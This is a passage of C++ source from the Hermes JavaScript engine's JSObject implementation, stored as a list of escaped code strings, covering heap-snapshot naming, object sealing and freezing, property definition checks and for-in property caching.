*const base = gc->getPointerBase();\n if (auto constructorVal = tryGetNamedNoAlloc(\n this, base, Predefined::getSymbolID(Predefined::constructor))) {\n if (auto *constructor = dyn_vmcast<JSObject>(*constructorVal)) {\n auto name = constructor->getNameIfExists(base);\n // If the constructor's name doesn't exist, or it is just the object\n // constructor, attempt to find a different name.\n if (!name.empty() && name != \"Object\")\n return name;\n }\n }", " std::string name = getVT()->base.snapshotMetaData.defaultNameForNode(this);\n // A constructor's name was not found, check if the object is in dictionary\n // mode.\n if (getClass(base)->isDictionary()) {\n return name + \"(Dictionary)\";\n }", " // If it's not an Object, the CellKind is most likely good enough on its own\n if (getKind() != CellKind::ObjectKind) {\n return name;\n }", " // If the object isn't a dictionary, and it has only a few property names,\n // make the name based on those property names.\n std::vector<std::string> propertyNames;\n HiddenClass::forEachPropertyNoAlloc(\n getClass(base),\n base,\n [gc, &propertyNames](SymbolID id, NamedPropertyDescriptor) {\n if (InternalProperty::isInternal(id)) {\n // Internal properties aren't user-visible, skip them.\n return;\n }\n propertyNames.emplace_back(gc->convertSymbolToUTF8(id));\n });\n // NOTE: One option is to sort the property names before truncation, to\n // reduce the number of groups; however, by not sorting them it makes it\n // easier to spot sets of objects with the same properties but in different\n // orders, and thus find HiddenClass optimizations to make.", " // For objects with a lot of properties but aren't in dictionary mode yet,\n // keep the number displayed small.\n constexpr int kMaxPropertiesForTypeName = 5;\n bool truncated = false;\n if (propertyNames.size() > kMaxPropertiesForTypeName) {\n propertyNames.erase(\n propertyNames.begin() + kMaxPropertiesForTypeName, propertyNames.end());\n truncated = true;\n }\n // The final name should look like Object(a, b, c).\n if (propertyNames.empty()) {\n // Don't add parentheses for objects with no properties.\n return name;\n }\n name += \"(\";\n bool first = true;\n for (const auto &prop : propertyNames) {\n if (!first) {\n name += \", \";\n }\n first = false;\n name += prop;\n }\n if (truncated) {\n // No need to check for comma edge case because this only happens for\n // greater than one property.\n static_assert(\n kMaxPropertiesForTypeName >= 1,\n \"Property truncation should not happen for 0 properties\");\n name += \", ...\";\n }\n name += \")\";\n return name;\n}", "std::string JSObject::getNameIfExists(PointerBase *base) {\n // Try \"displayName\" first, if it is defined.\n if (auto nameVal = tryGetNamedNoAlloc(\n this, base, Predefined::getSymbolID(Predefined::displayName))) {\n if (auto *name = dyn_vmcast<StringPrimitive>(*nameVal)) {\n return converter(name);\n }\n }\n // Next, use \"name\" if it is defined.\n if (auto nameVal = tryGetNamedNoAlloc(\n this, base, Predefined::getSymbolID(Predefined::name))) {\n if (auto *name = dyn_vmcast<StringPrimitive>(*nameVal)) {\n return converter(name);\n }\n }\n // There is no other way to access the \"name\" property on an object.\n return \"\";\n}", "std::string JSObject::_snapshotNameImpl(GCCell *cell, GC *gc) {\n auto *const self = vmcast<JSObject>(cell);\n return self->getHeuristicTypeName(gc);\n}", "void JSObject::_snapshotAddEdgesImpl(GCCell *cell, GC *gc, HeapSnapshot &snap) {\n auto *const self = vmcast<JSObject>(cell);", " // Add the prototype as a property edge, so it's easy for JS developers to\n // walk the prototype chain on their own.\n if (self->parent_) {\n snap.addNamedEdge(\n HeapSnapshot::EdgeType::Property,\n // __proto__ chosen for similarity to V8.\n \"__proto__\",\n gc->getObjectID(self->parent_));\n }", " HiddenClass::forEachPropertyNoAlloc(\n self->clazz_.get(gc->getPointerBase()),\n gc->getPointerBase(),\n [self, gc, &snap](SymbolID id, NamedPropertyDescriptor desc) {\n if (InternalProperty::isInternal(id)) {\n // Internal properties aren't user-visible, skip them.\n return;\n }\n // Else, it's a user-visible property.\n GCHermesValue &prop =\n namedSlotRef(self, gc->getPointerBase(), desc.slot);\n const llvh::Optional<HeapSnapshot::NodeID> idForProp =\n gc->getSnapshotID(prop);\n if (!idForProp) {\n return;\n }\n std::string propName = gc->convertSymbolToUTF8(id);\n // If the property name is a valid array index, display it as an\n // \"element\" instead of a \"property\". This will put square brackets\n // around the number and sort it numerically rather than\n // alphabetically.\n if (auto index = ::hermes::toArrayIndex(propName)) {\n snap.addIndexedEdge(\n HeapSnapshot::EdgeType::Element,\n index.getValue(),\n idForProp.getValue());\n } else {\n snap.addNamedEdge(\n HeapSnapshot::EdgeType::Property, propName, idForProp.getValue());\n }\n });\n}", "void JSObject::_snapshotAddLocationsImpl(\n GCCell *cell,\n GC *gc,\n HeapSnapshot &snap) {\n auto *const self = vmcast<JSObject>(cell);\n PointerBase *const base = gc->getPointerBase();\n // Add the location of the constructor function for this object, if that\n // constructor is a user-defined JS function.\n if (auto constructorVal = tryGetNamedNoAlloc(\n self, base, Predefined::getSymbolID(Predefined::constructor))) {\n if (constructorVal->isObject()) {\n if (auto *constructor = dyn_vmcast<JSFunction>(*constructorVal)) {\n constructor->addLocationToSnapshot(snap, gc->getObjectID(self));\n }\n }\n }\n}", "std::pair<uint32_t, uint32_t> JSObject::_getOwnIndexedRangeImpl(\n JSObject *self,\n Runtime *runtime) {\n return {0, 0};\n}", "bool JSObject::_haveOwnIndexedImpl(JSObject *self, Runtime *, uint32_t) {\n return false;\n}", "OptValue<PropertyFlags> JSObject::_getOwnIndexedPropertyFlagsImpl(\n JSObject *self,\n Runtime *runtime,\n uint32_t) {\n return llvh::None;\n}", "HermesValue JSObject::_getOwnIndexedImpl(JSObject *, Runtime *, uint32_t) {\n return HermesValue::encodeEmptyValue();\n}", "CallResult<bool>\nJSObject::_setOwnIndexedImpl(Handle<JSObject>, Runtime *, uint32_t, Handle<>) {\n return false;\n}", "bool JSObject::_deleteOwnIndexedImpl(Handle<JSObject>, Runtime *, uint32_t) {\n return false;\n}", "bool JSObject::_checkAllOwnIndexedImpl(\n JSObject * /*self*/,\n Runtime * /*runtime*/,\n ObjectVTable::CheckAllOwnIndexedMode /*mode*/) {\n return true;\n}", "void JSObject::preventExtensions(JSObject *self) {\n assert(\n !self->flags_.proxyObject &&\n \"[[Extensible]] slot cannot be set directly on Proxy objects\");\n self->flags_.noExtend = true;\n}", "CallResult<bool> JSObject::preventExtensions(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n PropOpFlags opFlags) {\n if (LLVM_UNLIKELY(selfHandle->isProxyObject())) {\n return JSProxy::preventExtensions(selfHandle, runtime, opFlags);\n }\n JSObject::preventExtensions(*selfHandle);\n return true;\n}", "ExecutionStatus JSObject::seal(Handle<JSObject> selfHandle, Runtime *runtime) {\n CallResult<bool> statusRes = JSObject::preventExtensions(\n selfHandle, runtime, PropOpFlags().plusThrowOnError());\n if (LLVM_UNLIKELY(statusRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n assert(\n *statusRes && \"seal preventExtensions with ThrowOnError returned false\");", " // Already sealed?\n if (selfHandle->flags_.sealed)\n return ExecutionStatus::RETURNED;", " auto newClazz = HiddenClass::makeAllNonConfigurable(\n runtime->makeHandle(selfHandle->clazz_), runtime);\n selfHandle->clazz_.set(runtime, *newClazz, &runtime->getHeap());", " selfHandle->flags_.sealed = true;", " return ExecutionStatus::RETURNED;\n}", "ExecutionStatus JSObject::freeze(\n Handle<JSObject> selfHandle,\n Runtime *runtime) {\n CallResult<bool> statusRes = JSObject::preventExtensions(\n selfHandle, runtime, PropOpFlags().plusThrowOnError());\n if (LLVM_UNLIKELY(statusRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n assert(\n *statusRes &&\n \"freeze preventExtensions with ThrowOnError returned false\");", " // Already frozen?\n if (selfHandle->flags_.frozen)\n return ExecutionStatus::RETURNED;", " auto newClazz = HiddenClass::makeAllReadOnly(\n runtime->makeHandle(selfHandle->clazz_), runtime);\n selfHandle->clazz_.set(runtime, *newClazz, &runtime->getHeap());", " selfHandle->flags_.frozen = true;\n selfHandle->flags_.sealed = true;", " return ExecutionStatus::RETURNED;\n}", "void JSObject::updatePropertyFlagsWithoutTransitions(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n PropertyFlags flagsToClear,\n PropertyFlags flagsToSet,\n OptValue<llvh::ArrayRef<SymbolID>> props) {\n auto newClazz = HiddenClass::updatePropertyFlagsWithoutTransitions(\n runtime->makeHandle(selfHandle->clazz_),\n runtime,\n flagsToClear,\n flagsToSet,\n props);\n selfHandle->clazz_.set(runtime, *newClazz, &runtime->getHeap());\n}", "CallResult<bool> JSObject::isExtensible(\n PseudoHandle<JSObject> self,\n Runtime *runtime) {\n if (LLVM_UNLIKELY(self->isProxyObject())) {\n return JSProxy::isExtensible(runtime->makeHandle(std::move(self)), runtime);\n }\n return self->isExtensible();\n}", "bool JSObject::isSealed(PseudoHandle<JSObject> self, Runtime *runtime) {\n if (self->flags_.sealed)\n return true;\n if (!self->flags_.noExtend)\n return false;", " auto selfHandle = runtime->makeHandle(std::move(self));", " if (!HiddenClass::areAllNonConfigurable(\n runtime->makeHandle(selfHandle->clazz_), runtime)) {\n return false;\n }", " if (!checkAllOwnIndexed(\n *selfHandle,\n runtime,\n ObjectVTable::CheckAllOwnIndexedMode::NonConfigurable)) {\n return false;\n }", " // Now that we know we are sealed, set the flag.\n selfHandle->flags_.sealed = true;\n return true;\n}", "bool JSObject::isFrozen(PseudoHandle<JSObject> self, Runtime *runtime) {\n if (self->flags_.frozen)\n return true;\n if (!self->flags_.noExtend)\n return false;", " auto selfHandle = runtime->makeHandle(std::move(self));", " if (!HiddenClass::areAllReadOnly(\n runtime->makeHandle(selfHandle->clazz_), runtime)) {\n return false;\n }", " if (!checkAllOwnIndexed(\n *selfHandle,\n runtime,\n ObjectVTable::CheckAllOwnIndexedMode::ReadOnly)) {\n return false;\n }", " // Now that we know we are sealed, set the flag.\n selfHandle->flags_.frozen = true;\n selfHandle->flags_.sealed = true;\n return true;\n}", "CallResult<bool> JSObject::addOwnProperty(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n DefinePropertyFlags dpFlags,\n Handle<> valueOrAccessor,\n PropOpFlags opFlags) {\n /// Can we add more properties?\n if (!selfHandle->isExtensible() && !opFlags.getInternalForce()) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n TwineChar16(\"Cannot add new property '\") +\n runtime->getIdentifierTable().getStringViewForDev(runtime, name) +\n \"'\");\n }\n return false;\n }", " PropertyFlags flags{};", " // Accessors don't set writeable.\n if (dpFlags.isAccessor()) {\n dpFlags.setWritable = 0;\n flags.accessor = 1;\n }", " // Override the default flags if specified.\n if (dpFlags.setEnumerable)\n flags.enumerable = dpFlags.enumerable;\n if (dpFlags.setWritable)\n flags.writable = dpFlags.writable;\n if (dpFlags.setConfigurable)\n flags.configurable = dpFlags.configurable;\n flags.internalSetter = dpFlags.enableInternalSetter;", " if (LLVM_UNLIKELY(\n addOwnPropertyImpl(\n selfHandle, runtime, name, flags, valueOrAccessor) ==\n ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }", " return true;\n}", "ExecutionStatus JSObject::addOwnPropertyImpl(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n PropertyFlags propertyFlags,\n Handle<> valueOrAccessor) {\n assert(\n !selfHandle->flags_.proxyObject &&\n \"Internal properties cannot be added to Proxy objects\");\n // Add a new property to the class.\n // TODO: if we check for OOM here in the future, we must undo the slot\n // allocation.\n auto addResult = HiddenClass::addProperty(\n runtime->makeHandle(selfHandle->clazz_), runtime, name, propertyFlags);\n if (LLVM_UNLIKELY(addResult == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n selfHandle->clazz_.set(runtime, *addResult->first, &runtime->getHeap());", " allocateNewSlotStorage(\n selfHandle, runtime, addResult->second, valueOrAccessor);", " // If this is an index-like property, we need to clear the fast path flags.\n if (LLVM_UNLIKELY(\n selfHandle->clazz_.getNonNull(runtime)->getHasIndexLikeProperties()))\n selfHandle->flags_.fastIndexProperties = false;", " return ExecutionStatus::RETURNED;\n}", "CallResult<bool> JSObject::updateOwnProperty(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n HiddenClass::PropertyPos propertyPos,\n NamedPropertyDescriptor desc,\n const DefinePropertyFlags dpFlags,\n Handle<> valueOrAccessor,\n PropOpFlags opFlags) {\n auto updateStatus = checkPropertyUpdate(\n runtime,\n desc.flags,\n dpFlags,\n getNamedSlotValue(selfHandle.get(), runtime, desc),\n valueOrAccessor,\n opFlags);\n if (updateStatus == ExecutionStatus::EXCEPTION)\n return ExecutionStatus::EXCEPTION;\n if (updateStatus->first == PropertyUpdateStatus::failed)\n return false;", " // If the property flags changed, update them.\n if (updateStatus->second != desc.flags) {\n desc.flags = updateStatus->second;\n auto newClazz = HiddenClass::updateProperty(\n runtime->makeHandle(selfHandle->clazz_),\n runtime,\n propertyPos,\n desc.flags);\n selfHandle->clazz_.set(runtime, *newClazz, &runtime->getHeap());\n }", " if (updateStatus->first == PropertyUpdateStatus::done)\n return true;\n assert(\n updateStatus->first == PropertyUpdateStatus::needSet &&\n \"unexpected PropertyUpdateStatus\");", " if (dpFlags.setValue) {\n if (LLVM_LIKELY(!desc.flags.internalSetter))\n setNamedSlotValue(selfHandle.get(), runtime, desc, valueOrAccessor.get());\n else\n return internalSetter(\n selfHandle, runtime, name, desc, valueOrAccessor, opFlags);\n } else if (dpFlags.isAccessor()) {\n setNamedSlotValue(selfHandle.get(), runtime, desc, valueOrAccessor.get());\n } else {\n // If checkPropertyUpdate() returned needSet, but there is no value or\n // accessor, clear the value.\n setNamedSlotValue(\n selfHandle.get(), runtime, desc, HermesValue::encodeUndefinedValue());\n }", " return true;\n}", "CallResult<std::pair<JSObject::PropertyUpdateStatus, PropertyFlags>>\nJSObject::checkPropertyUpdate(\n Runtime *runtime,\n const PropertyFlags currentFlags,\n DefinePropertyFlags dpFlags,\n const HermesValue curValueOrAccessor,\n Handle<> valueOrAccessor,\n PropOpFlags opFlags) {\n // 8.12.9 [5] Return true, if every field in Desc is absent.\n if (dpFlags.isEmpty())\n return std::make_pair(PropertyUpdateStatus::done, currentFlags);", " assert(\n (!dpFlags.isAccessor() || (!dpFlags.setWritable && !dpFlags.writable)) &&\n \"can't set both accessor and writable\");\n assert(\n !dpFlags.enableInternalSetter &&\n \"cannot change the value of internalSetter\");", " // 8.12.9 [6] Return true, if every field in Desc also occurs in current and\n // the value of every field in Desc is the same value as the corresponding\n // field in current when compared using the SameValue algorithm (9.12).\n // TODO: this would probably be much more efficient with bitmasks.\n if ((!dpFlags.setEnumerable ||\n dpFlags.enumerable == currentFlags.enumerable) &&\n (!dpFlags.setConfigurable ||\n dpFlags.configurable == currentFlags.configurable)) {\n if (dpFlags.isAccessor()) {\n if (currentFlags.accessor) {\n auto *curAccessor = vmcast<PropertyAccessor>(curValueOrAccessor);\n auto *newAccessor = vmcast<PropertyAccessor>(valueOrAccessor.get());", " if ((!dpFlags.setGetter ||\n curAccessor->getter == newAccessor->getter) &&\n (!dpFlags.setSetter ||\n curAccessor->setter == newAccessor->setter)) {\n return std::make_pair(PropertyUpdateStatus::done, currentFlags);\n }\n }\n } else {\n if (!currentFlags.accessor &&\n (!dpFlags.setValue ||\n isSameValue(curValueOrAccessor, valueOrAccessor.get())) &&\n (!dpFlags.setWritable || dpFlags.writable == currentFlags.writable)) {\n return std::make_pair(PropertyUpdateStatus::done, currentFlags);\n }\n }\n }", " // 8.12.9 [7]\n // If the property is not configurable, some aspects are not changeable.\n if (!currentFlags.configurable) {\n // Trying to change non-configurable to configurable?\n if (dpFlags.configurable) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n \"property is not configurable\"); // TODO: better message.\n }\n return std::make_pair(PropertyUpdateStatus::failed, PropertyFlags{});\n }", " // Trying to change the enumerability of non-configurable property?\n if (dpFlags.setEnumerable &&\n dpFlags.enumerable != currentFlags.enumerable) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n \"property is not configurable\"); // TODO: better message.\n }\n return std::make_pair(PropertyUpdateStatus::failed, PropertyFlags{});\n }\n }", " PropertyFlags newFlags = currentFlags;", " // 8.12.9 [8] If IsGenericDescriptor(Desc) is true, then no further validation\n // is required.\n if (!(dpFlags.setValue || dpFlags.setWritable || dpFlags.setGetter ||\n dpFlags.setSetter)) {\n // Do nothing\n }\n // 8.12.9 [9]\n // Changing between accessor and data descriptor?\n else if (currentFlags.accessor != dpFlags.isAccessor()) {\n if (!currentFlags.configurable) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n \"property is not configurable\"); // TODO: better message.\n }\n return std::make_pair(PropertyUpdateStatus::failed, PropertyFlags{});\n }", " // If we change from accessor to data descriptor, Preserve the existing\n // values of the converted property’s [[Configurable]] and [[Enumerable]]\n // attributes and set the rest of the property’s attributes to their default\n // values.\n // If it's the other way around, since the accessor doesn't have the\n // [[Writable]] attribute, do nothing.\n newFlags.writable = 0;", " // If we are changing from accessor to non-accessor, we must set a new\n // value.\n if (!dpFlags.isAccessor())\n dpFlags.setValue = 1;\n }\n // 8.12.9 [10] if both are data descriptors.\n else if (!currentFlags.accessor) {\n if (!currentFlags.configurable) {\n if (!currentFlags.writable) {\n // If the current property is not writable, but the new one is.\n if (dpFlags.writable) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n \"property is not configurable\"); // TODO: better message.\n }\n return std::make_pair(PropertyUpdateStatus::failed, PropertyFlags{});\n }", " // If we are setting a different value.\n if (dpFlags.setValue &&\n !isSameValue(curValueOrAccessor, valueOrAccessor.get())) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n \"property is not writable\"); // TODO: better message.\n }\n return std::make_pair(PropertyUpdateStatus::failed, PropertyFlags{});\n }\n }\n }\n }\n // 8.12.9 [11] Both are accessors.\n else {\n auto *curAccessor = vmcast<PropertyAccessor>(curValueOrAccessor);\n auto *newAccessor = vmcast<PropertyAccessor>(valueOrAccessor.get());", " // If not configurable, make sure that nothing is changing.\n if (!currentFlags.configurable) {\n if ((dpFlags.setGetter && newAccessor->getter != curAccessor->getter) ||\n (dpFlags.setSetter && newAccessor->setter != curAccessor->setter)) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n \"property is not configurable\"); // TODO: better message.\n }\n return std::make_pair(PropertyUpdateStatus::failed, PropertyFlags{});\n }\n }", " // If not setting the getter or the setter, re-use the current one.\n if (!dpFlags.setGetter)\n newAccessor->getter.set(\n runtime, curAccessor->getter, &runtime->getHeap());\n if (!dpFlags.setSetter)\n newAccessor->setter.set(\n runtime, curAccessor->setter, &runtime->getHeap());\n }", " // 8.12.9 [12] For each attribute field of Desc that is present, set the\n // correspondingly named attribute of the property named P of object O to the\n // value of the field.\n if (dpFlags.setEnumerable)\n newFlags.enumerable = dpFlags.enumerable;\n if (dpFlags.setWritable)\n newFlags.writable = dpFlags.writable;\n if (dpFlags.setConfigurable)\n newFlags.configurable = dpFlags.configurable;", " if (dpFlags.setValue)\n newFlags.accessor = false;\n else if (dpFlags.isAccessor())\n newFlags.accessor = true;\n else\n return std::make_pair(PropertyUpdateStatus::done, newFlags);", " return std::make_pair(PropertyUpdateStatus::needSet, newFlags);\n}", "CallResult<bool> JSObject::internalSetter(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n NamedPropertyDescriptor /*desc*/,\n Handle<> value,\n PropOpFlags opFlags) {\n if (vmisa<JSArray>(selfHandle.get())) {\n if (name == Predefined::getSymbolID(Predefined::length)) {\n return JSArray::setLength(\n Handle<JSArray>::vmcast(selfHandle), runtime, value, opFlags);\n }\n }", " llvm_unreachable(\"unhandled property in Object::internalSetter()\");\n}", "namespace {", "/// Helper function to add all the property names of an object to an\n/// array, starting at the given index. Only enumerable properties are\n/// incluced. Returns the index after the last property added, but...\nCallResult<uint32_t> appendAllPropertyNames(\n Handle<JSObject> obj,\n Runtime *runtime,\n MutableHandle<BigStorage> &arr,\n uint32_t beginIndex) {\n uint32_t size = beginIndex;\n // We know that duplicate property names can only exist between objects in\n // the prototype chain. Hence there should not be duplicated properties\n // before we start to look at any prototype.\n bool needDedup = false;\n MutableHandle<> prop(runtime);\n MutableHandle<JSObject> head(runtime, obj.get());\n MutableHandle<StringPrimitive> tmpVal{runtime};\n while (head.get()) {\n GCScope gcScope(runtime);", " // enumerableProps will contain all enumerable own properties from obj.\n // Impl note: this is the only place where getOwnPropertyKeys will be\n // called without IncludeNonEnumerable on a Proxy. Everywhere else,\n // trap ordering is specified but ES9 13.7.5.15 says \"The mechanics and\n // order of enumerating the properties is not specified\", which is\n // unusual.\n auto cr =\n JSObject::getOwnPropertyNames(head, runtime, true /* onlyEnumerable */);\n if (LLVM_UNLIKELY(cr == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n auto enumerableProps = *cr;\n auto marker = gcScope.createMarker();\n for (unsigned i = 0, e = enumerableProps->getEndIndex(); i < e; ++i) {\n gcScope.flushToMarker(marker);\n prop = enumerableProps->at(runtime, i);\n if (!needDedup) {\n // If no dedup is needed, add it directly.\n if (LLVM_UNLIKELY(\n BigStorage::push_back(arr, runtime, prop) ==\n ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n ++size;\n continue;\n }\n // Otherwise loop through all existing properties and check if we\n // have seen it before.\n bool dupFound = false;\n if (prop->isNumber()) {\n for (uint32_t j = beginIndex; j < size && !dupFound; ++j) {\n HermesValue val = arr->at(j);\n if (val.isNumber()) {\n dupFound = val.getNumber() == prop->getNumber();\n } else {\n // val is string, prop is number.\n tmpVal = val.getString();\n auto valNum = toArrayIndex(\n StringPrimitive::createStringView(runtime, tmpVal));\n dupFound = valNum && valNum.getValue() == prop->getNumber();\n }\n }\n } else {\n for (uint32_t j = beginIndex; j < size && !dupFound; ++j) {\n HermesValue val = arr->at(j);\n if (val.isNumber()) {\n // val is number, prop is string.\n auto propNum = toArrayIndex(StringPrimitive::createStringView(\n runtime, Handle<StringPrimitive>::vmcast(prop)));\n dupFound = propNum && (propNum.getValue() == val.getNumber());\n } else {\n dupFound = val.getString()->equals(prop->getString());\n }\n }\n }\n if (LLVM_LIKELY(!dupFound)) {\n if (LLVM_UNLIKELY(\n BigStorage::push_back(arr, runtime, prop) ==\n ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n ++size;\n }\n }\n // Continue to follow the prototype chain.\n CallResult<PseudoHandle<JSObject>> parentRes =\n JSObject::getPrototypeOf(head, runtime);\n if (LLVM_UNLIKELY(parentRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n head = parentRes->get();\n needDedup = true;\n }\n return size;\n}", "/// Adds the hidden classes of the prototype chain of obj to arr,\n/// starting with the prototype of obj at index 0, etc., and\n/// terminates with null.\n///\n/// \\param obj The object whose prototype chain should be output\n/// \\param[out] arr The array where the classes will be appended. This\n/// array is cleared if any object is unsuitable for caching.\nExecutionStatus setProtoClasses(\n Runtime *runtime,\n Handle<JSObject> obj,\n MutableHandle<BigStorage> &arr) {\n // Layout of a JSArray stored in the for-in cache:\n // [class(proto(obj)), class(proto(proto(obj))), ..., null, prop0, prop1, ...]", " if (!obj->shouldCacheForIn(runtime)) {\n arr->clear(runtime);\n return ExecutionStatus::RETURNED;\n }\n MutableHandle<JSObject> head(runtime, obj->getParent(runtime));\n MutableHandle<> clazz(runtime);\n GCScopeMarkerRAII marker{runtime};\n while (head.get()) {\n if (!head->shouldCacheForIn(runtime)) {\n arr->clear(runtime);\n return ExecutionStatus::RETURNED;\n }\n if (JSObject::Helper::flags(*head).lazyObject) {\n // Ensure all properties have been initialized before caching the hidden\n // class. Not doing this will result in changes to the hidden class\n // when getOwnPropertyKeys is called later.\n JSObject::initializeLazyObject(runtime, head);\n }\n clazz = HermesValue::encodeObjectValue(head->getClass(runtime));\n if (LLVM_UNLIKELY(\n BigStorage::push_back(arr, runtime, clazz) ==\n ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n head = head->getParent(runtime);\n marker.flush();\n }\n clazz = HermesValue::encodeNullValue();\n return BigStorage::push_back(arr, runtime, clazz);\n}", "/// Verifies that the classes of obj's prototype chain still matches those\n/// previously prefixed to arr by setProtoClasses.\n///\n/// \\param obj The object whose prototype chain should be verified\n/// \\param arr Array previously populated by setProtoClasses\n/// \\return The index after the terminating null if everything matches,\n/// otherwise 0.\nuint32_t matchesProtoClasses(\n Runtime *runtime,\n Handle<JSObject> obj,\n Handle<BigStorage> arr) {\n MutableHandle<JSObject> head(runtime, obj->getParent(runtime));\n uint32_t i = 0;\n while (head.get()) {\n HermesValue protoCls = arr->at(i++);\n if (protoCls.isNull() || protoCls.getObject() != head->getClass(runtime) ||\n head->isProxyObject()) {\n return 0;\n }\n head = head->getParent(runtime);\n }\n // The chains must both end at the same point.\n if (head || !arr->at(i++).isNull()) {\n return 0;\n }\n assert(i > 0 && \"success should be positive\");\n return i;\n}", "} // namespace", "CallResult<Handle<BigStorage>> getForInPropertyNames(\n Runtime *runtime,\n Handle<JSObject> obj,\n uint32_t &beginIndex,\n uint32_t &endIndex) {\n Handle<HiddenClass> clazz(runtime, obj->getClass(runtime));", " // Fast case: Check the cache.\n MutableHandle<BigStorage> arr(runtime, clazz->getForInCache(runtime));\n if (arr) {\n beginIndex = matchesProtoClasses(runtime, obj, arr);\n if (beginIndex) {\n // Cache is valid for this object, so use it.\n endIndex = arr->size();\n return arr;\n }\n // Invalid for this object. We choose to clear the cache since the\n // changes to the prototype chain probably affect other objects too.\n clazz->clearForInCache(runtime);\n // Clear arr to slightly reduce risk of OOM from allocation below.\n arr = nullptr;\n }", " // Slow case: Build the array of properties.\n auto ownPropEstimate = clazz->getNumProperties();\n auto arrRes = obj->shouldCacheForIn(runtime)\n ? BigStorage::createLongLived(runtime, ownPropEstimate)\n : BigStorage::create(runtime, ownPropEstimate);\n if (LLVM_UNLIKELY(arrRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n arr = std::move(*arrRes);\n if (setProtoClasses(runtime, obj, arr) == ExecutionStatus::EXCEPTION) {\n return ExecutionStatus::EXCEPTION;\n }\n beginIndex = arr->size();\n // If obj or any of its prototypes are unsuitable for caching, then\n // beginIndex is 0 and we return an array with only the property names.\n bool canCache = beginIndex;\n auto end = appendAllPropertyNames(obj, runtime, arr, beginIndex);\n if (end == ExecutionStatus::EXCEPTION) {\n return ExecutionStatus::EXCEPTION;\n }\n endIndex = *end;\n // Avoid degenerate memory explosion: if > 75% of the array is properties\n // or classes from prototypes, then don't cache it.\n const bool tooMuchProto = *end / 4 > ownPropEstimate;\n if (canCache && !tooMuchProto) {\n assert(beginIndex > 0 && \"cached array must start with proto classes\");\n#ifdef HERMES_SLOW_DEBUG\n assert(beginIndex == matchesProtoClasses(runtime, obj, arr) && \"matches\");\n#endif\n clazz->setForInCache(*arr, runtime);\n }\n return arr;\n}", "//===----------------------------------------------------------------------===//\n// class PropertyAccessor", "VTable PropertyAccessor::vt{CellKind::PropertyAccessorKind,\n cellSize<PropertyAccessor>()};", "void PropertyAccessorBuildMeta(const GCCell *cell, Metadata::Builder &mb) {\n const auto *self = static_cast<const PropertyAccessor *>(cell);\n mb.addField(\"getter\", &self->getter);\n mb.addField(\"setter\", &self->setter);\n}", "#ifdef HERMESVM_SERIALIZE\nPropertyAccessor::PropertyAccessor(Deserializer &d)\n : GCCell(&d.getRuntime()->getHeap(), &vt) {\n d.readRelocation(&getter, RelocationKind::GCPointer);\n d.readRelocation(&setter, RelocationKind::GCPointer);\n}", "void PropertyAccessorSerialize(Serializer &s, const GCCell *cell) {\n auto *self = vmcast<const PropertyAccessor>(cell);\n s.writeRelocation(self->getter.get(s.getRuntime()));\n s.writeRelocation(self->setter.get(s.getRuntime()));\n s.endObject(cell);\n}", "void PropertyAccessorDeserialize(Deserializer &d, CellKind kind) {\n assert(kind == CellKind::PropertyAccessorKind && \"Expected PropertyAccessor\");\n void *mem = d.getRuntime()->alloc(cellSize<PropertyAccessor>());\n auto *cell = new (mem) PropertyAccessor(d);\n d.endObject(cell);\n}\n#endif", "CallResult<HermesValue> PropertyAccessor::create(\n Runtime *runtime,\n Handle<Callable> getter,\n Handle<Callable> setter) {\n void *mem = runtime->alloc(cellSize<PropertyAccessor>());\n return HermesValue::encodeObjectValue(\n new (mem) PropertyAccessor(runtime, *getter, *setter));\n}", "} // namespace vm\n} // namespace hermes" ]
